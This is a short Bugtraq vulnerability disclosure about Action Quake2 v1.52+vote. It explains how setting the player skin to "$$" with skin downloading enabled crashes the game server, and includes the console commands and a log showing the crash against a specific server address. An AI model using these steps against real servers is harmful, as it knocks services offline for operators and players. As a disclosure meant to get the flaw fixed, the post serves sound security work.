Bug in Action Quake2 v1.52+vote

["Jordan T." <jordan () blue-ferret com au>]

Bugtraq,

A friend of mine has discovered a possible bug in Action Quake2 teamplay
v1.52+vote that allows any player to crash the server.
he can be reached at deathboy99 () hotmail com.
here are the details..

connect to the server, hit the console key " ` " and type this:
set skin "$$"  (with the double quotes)
goto multiplayer options, player options, and select allow downloading and make
sure you allow skin downloading
then reconnect to the server and the following should happen:

]set skin "$$"
]connect 203.166.224.43:27910
Connecting to 203.166.224.43:27910...
203.166.224.43:27910: challenge
203.166.224.43:27910: client_connect

The Crack Down
Refusing to download a path with ..
Refusing to download a path with ..
Downloading players/$$/tris.md2
Server fatal crashed: FS_Read: 0 bytes read

I have confirmed this.